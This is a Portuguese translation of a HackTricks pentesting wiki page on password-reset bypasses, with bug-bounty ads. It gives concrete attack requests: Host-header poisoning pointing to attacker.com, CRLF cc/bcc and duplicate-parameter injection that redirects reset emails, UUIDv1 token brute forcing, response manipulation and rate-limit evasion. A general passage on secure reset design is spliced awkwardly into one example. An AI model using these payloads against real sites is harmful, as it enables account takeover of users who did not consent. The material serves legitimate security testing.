hacktricks/pentesting-web/reset-password.md

16 KiB

Bypass de Redefinição/Esquecimento de Senha

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

As seguintes técnicas de recomposição foram retiradas de https://anugrahsr.github.io/posts/10-Password-reset-flaws/

Vazamento de Token de Redefinição de Senha via Referer

O referer HTTP é um campo de cabeçalho HTTP opcional que identifica o endereço da página da web que está vinculada ao recurso solicitado. O cabeçalho de solicitação Referer contém o endereço da página da web anterior a partir da qual um link para a página atualmente solicitada foi seguido.

Exploração

  • Solicite a redefinição de senha para o seu endereço de e-mail
  • Clique no link de redefinição de senha
  • Não altere a senha
  • Clique em qualquer site de terceiros (por exemplo: Facebook, Twitter)
  • Interceptar a solicitação no proxy Burpsuite
  • Verifique se o cabeçalho referer está vazando o token de redefinição de senha.

Impacto

Isso permite que a pessoa que tem controle sobre um determinado site altere a senha do usuário (ataque CSRF), porque essa pessoa conhece o token de redefinição de senha do usuário.

Referência:

Envenenamento de Redefinição de Senha

Se você encontrar um ataque de cabeçalho de host e estiver fora do escopo, tente encontrar o botão de redefinição de senha!

Exploração

  • Interceptar a solicitação de redefinição de senha no Burpsuite
  • Adicione o seguinte cabeçalho ou edite o cabeçalho no Burpsuite (tente um por um)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • Verifique se o link para alterar a senha dentro do e-mail está apontando para attacker.com

Correção

Use $_SERVER['SERVER_NAME'] em vez de $_SERVER['HTTP_HOST']

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

Impacto

A vítima receberá o link malicioso em seu e-mail e, ao clicar nele, irá vazar o link / token de redefinição de senha do usuário para o atacante, resultando na tomada completa da conta.

Referência:

Redefinição de Senha Manipulando o Parâmetro de E-mail

Exploração

  • Adicione o e-mail do atacante como segundo parâmetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Adicione o email do atacante como segundo parâmetro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Adicione o email do atacante como segundo parâmetro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Adicione o email do atacante como segundo parâmetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Adicione o email do atacante como segundo parâmetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Adicione o email do atacante como segundo parâmetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Adicione o email do atacante como segundo parâmetro no array json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Referência

Alterando o Email e a Senha de qualquer Usuário através dos Parâmetros da API

Exploração

  • O atacante deve fazer login em sua conta e ir para a função de alteração de senha
  • Inicie o Burp Suite e intercepte a solicitação
  • Após interceptar a solicitação, envie-a para o repetidor e modifique os parâmetros Email e Password
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Referência

Sem limite de taxa: Bombardeio de e-mails

Exploração

  • Inicie o Burp Suite e intercepte a solicitação de redefinição de senha
  • Envie para o intruder
  • Use uma carga nula

Referência

Descubra como o Token de Redefinição de Senha é Gerado

Descubra o padrão do token de redefinição de senha

Se for

  • Gerado com base no timestamp
  • Gerado com base no ID do usuário
  • Gerado com base no e-mail do usuário
  • Gerado com base no nome e sobrenome
  • Gerado com base na data de nascimento
  • Gerado com base em criptografia

Use o Burp Sequencer para encontrar a aleatoriedade ou previsibilidade dos tokens.

GUID Adivinhável

Existem diferentes tipos de GUIDs:

  • Versão 0: Apenas visto no GUID nulo ("00000000-0000-0000-0000-000000000000").
  • Versão 1: O GUID é gerado de maneira previsível com base em:
  • O horário atual
  • Uma "sequência de relógio" gerada aleatoriamente que permanece constante entre os GUIDs durante o tempo de atividade do sistema gerador
  • Um "ID de nó", que é gerado com base no endereço MAC do sistema, se estiver disponível
  • Versão 3: O GUID é gerado usando um hash MD5 de um nome e namespace fornecidos.
  • Versão 4: O GUID é gerado aleatoriamente.
  • Versão 5: O GUID é gerado usando um hash SHA1 de um nome e namespace fornecidos.

É possível dar uma olhada em um GUID e descobrir sua versão, há uma pequena ferramenta para isso: guidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

Se a versão utilizada para gerar um GUID de redefinição de senha for a versão 1, é possível realizar um ataque de força bruta nos GUIDs:

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

Referências

Manipulação de resposta: Substituir uma resposta ruim por uma boa

Procure por solicitações e respostas como estas

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Redefinir Senha

Quando um usuário esquece sua senha, é importante fornecer um mecanismo seguro para redefini-la. No entanto, se esse mecanismo não for implementado corretamente, pode abrir brechas de segurança que podem ser exploradas por hackers.

Verificação de E-mail

Uma abordagem comum para redefinir senhas é enviar um e-mail para o endereço associado à conta do usuário. Esse e-mail geralmente contém um link exclusivo que permite ao usuário redefinir sua senha.

Ao implementar essa funcionalidade, é fundamental garantir que o link de redefinição de senha seja válido apenas por um período limitado e que expire após o uso. Isso evita que um link antigo seja usado por um invasor para redefinir a senha de um usuário.

Proteção contra Ataques de Força Bruta

Para evitar ataques de força bruta, é recomendável implementar medidas de proteção, como limitar o número de tentativas de redefinição de senha em um determinado período de tempo. Além disso, é importante usar mecanismos de autenticação robustos, como CAPTCHA, para verificar se o solicitante é um humano legítimo.

Vazamento de Informações

Ao lidar com solicitações de redefinição de senha, é importante ter cuidado para não revelar informações sensíveis. Por exemplo, se um usuário inserir um endereço de e-mail inválido, a resposta não deve indicar explicitamente que o endereço de e-mail não existe em seu sistema. Em vez disso, uma mensagem genérica deve ser exibida para evitar vazamento de informações.

Testando a Funcionalidade de Redefinição de Senha

Durante um teste de penetração, é essencial verificar se a funcionalidade de redefinição de senha é segura. Isso pode ser feito tentando explorar possíveis vulnerabilidades, como links de redefinição de senha que não expiram ou não são exclusivos. Além disso, é importante verificar se as medidas de proteção contra ataques de força bruta estão funcionando corretamente.

Conclusão

A redefinição de senha é uma funcionalidade crítica em muitos sistemas. Ao implementá-la, é fundamental seguir as melhores práticas de segurança para garantir que os usuários possam redefinir suas senhas de forma segura e que a funcionalidade não seja explorada por hackers.

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Referência

Usando Token Expirado

  • Verifique se o token expirado pode ser reutilizado

Força Bruta no Token de Redefinição de Senha

Tente fazer força bruta no token de redefinição usando o Burpsuite

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
  • Use o IP-Rotator no burpsuite para contornar o limite de taxa baseado em IP.

Referência

Tente Usar Seu Token

  • Tente adicionar o token de redefinição de senha com a conta da vítima.
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

Referência

Invalidação de Sessão no Logout/Reset de Senha

Quando um usuário faz logout ou reseta sua senha, a sessão atual deve ser invalidada.
Portanto, capture os cookies enquanto o usuário estiver logado, faça logout e verifique se os cookies ainda estão válidos.
Repita o processo alterando a senha em vez de fazer logout.

Tempo de Expiração do Token de Reset

Os tokens de reset devem ter um tempo de expiração, após o qual o token não deve ser válido para alterar a senha de um usuário.

Verificações Extras

  • Use username@burp_collab.net e analise o retorno
  • Usuário com cópia oculta de email=victim@mail.com%0a%0dcc:hacker@mail.com
  • Senha longa (>200) causa DoS
  • Acrescente um segundo parâmetro de email e valor

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda dos hackers web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥